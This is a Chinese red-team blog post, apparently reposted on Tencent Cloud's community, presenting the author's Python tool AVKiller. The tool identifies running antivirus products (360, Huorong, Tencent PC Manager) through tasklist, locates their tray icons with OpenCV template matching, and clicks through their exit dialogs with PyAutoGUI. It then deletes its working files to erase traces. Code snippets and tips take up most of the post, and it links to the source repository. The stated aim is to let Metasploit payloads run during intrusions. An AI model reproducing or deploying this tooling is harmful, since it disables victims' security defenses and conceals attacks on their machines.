前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >红队利用之利用PyautoGUI实现自动对某数字,某绒和某管家的退出

红队利用之利用PyautoGUI实现自动对某数字,某绒和某管家的退出

作者头像
黑伞安全
发布2020-05-26 16:27:54
1.1K0
发布2020-05-26 16:27:54
举报
文章被收录于专栏:黑伞安全黑伞安全

起因:

4月份的某一天,在玩内网渗透的时候,发现一些比较好的免杀工具的确能让木马对杀毒软件实现绕过,这种免杀工具的连接端大部分是MSF的,在MSF里面进行后渗透操作的时候,MSF会再向目标计算机发送可执行文件,这时可执行文件就不再免杀了,加入对方电脑上安装了杀毒软件的话,基本GG了,因为MSF原生的payload已经被各大杀软爆菊了,所以才萌生了自动关闭杀毒软件的想法!

昨天看到 S0cke3t巨佬的文章,才发现这个想法居然跟巨佬的差不多,这可能是我这长在这么大离巨佬思维最近的一次了。但是巨佬wmic和注册表操作是我没想到的,向巨佬学习~

功能实现

1. 识别杀软

为了实现自动识别杀毒软件的功能,首先要知道系统运行了哪些杀毒软件,CMD命令tasklist可以列出系统正在运行的进程,将其与已知的杀毒软件进行进行匹配即可,如果进程中有与av_process里的进程名,说明该电脑正在运行XX杀毒软件。这里需要做个判断,如果不存在杀毒软件的话,则退出该程序。

av_process = {'hr': 'HipsTray.exe', 'txgj': 'QQPCTray.exe', '360': '360sd.exe'}

def runningAVs():

tasklist = popen('tasklist').read().split()

for av_exe in av_process.values():

if av_exe in tasklist:

usingAV = [k for k, v in av_process.items() if v == av_exe][0]

return usingAV

图1 判断运行杀毒软件的函数

try:

AV = runningAVs()

print(AV)

# 将对应的logo写入

logo_b64 = b64_AV_logo[AV]

logo_img = base64.b64decode(logo_b64)

with open(logoImage, 'wb') as f:

f.write(logo_img)

# 输出通用的‘退出’字符串图片

with open(logoutImage, 'wb') as f:

f.write(base64.b64decode(b64_logout))

# 通过杀毒软件判断最后一步退出步骤应该使用的字样

if AV == r'hr':

return b64_logout

elif AV == r'360':

return b64_blue_comfirm

else:

return b64_white_comfirm

except :

print('主人,这家伙没开杀毒软件!!!!干他๑乛◡乛๑ ')

exit()

图2 不存在杀毒软件,程序退出,存在的话,将logo最为图片输出

2. 坐标获取

知道目标主机运行的程序后就需要准备关闭它了,这时候使用opencv的图像识别技术,找到目标(杀毒软件)logo在屏幕的位置,以坐标形式进行返回,用于对鼠标的定位。

def get_position(imgSource, imgTarget):

source = cv2.imread(imgSource, 0) # 0-灰度处理,防止颜色不同对定位产生影响

target = cv2.imread(imgTarget, 0)

wight, height = target.shape[::-1] # 获取图片长和宽,方便确定文字的中新坐标

res = cv2.matchTemplate(source, target, cv2.TM_CCOEFF_NORMED)

min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)

pos_x = int(max_loc[0] + wight / 2)

pos_y = int(max_loc[1] + height / 2)

# print(pos_x, pos_y)

return pos_x, pos_y

3. 鼠标操作

这是PyautoGUI库的功能,此程序用到的只是rightClick,Click功能,主要是利用opencv获取到的坐标,让鼠标进行移动到对应的位置,然后进行右击和点击操作。

4. 清理痕迹

活干完了,总不能抢前走人吧,至少得擦掉一些痕迹吧!由于需要多次通过图片对比来找到坐标,所以会在目标电脑里保存6张图片,所以当杀毒软件退出后,我们需要将其删除。CMD的del命令可以删除文件(不是移动到回收站,而是直接删除)

def clean():

popen(r'del /q {} {} {} {} {} {}'.format(logoutImage, logoImage, comfireImage,

screen_before,screen_logout, screen_logout))

5. Tips

a) 关于sleep:为什么需要sleep?

Pyautogui进行截屏操作的时候需要时间(100ms左右,电脑性能会导致时间长短不同),sleep时长跟电脑性能有关,如果目标主机性能足够好的话,可以适当减小sleep时长。

b) 关于图片存放位置:为什么不直接在当前目录下?

在当前目录下由于图片中有类似‘退出’、‘确认’字样,会被opencv识别,导致定位不准,所以必须保存在其他目录下

c) 关于打开右下角隐藏起的图标

Win+B,再按一下空格键或者回车键

d) 关于图片保存

这一点我的思路跟巨佬相同,先将图片转为base64,需要用的时候再将其解码回来即可。而且重要的是,当进行渗透的时候,只需要上传一个文件!减少上传的文件数量!

成果展示

关闭360

关闭某管家

关闭某绒

该项目目前只是一个demo,还有很多需要优化的地方,比如opencv的识别细致度可能稍微较弱,可能导致有时候图像识别不够准确,也仅在个别地方做了异常处理。后续版本会处理以上问题。

源码地址:https://github.com/PDWR/AVKiller

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-05-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑伞攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档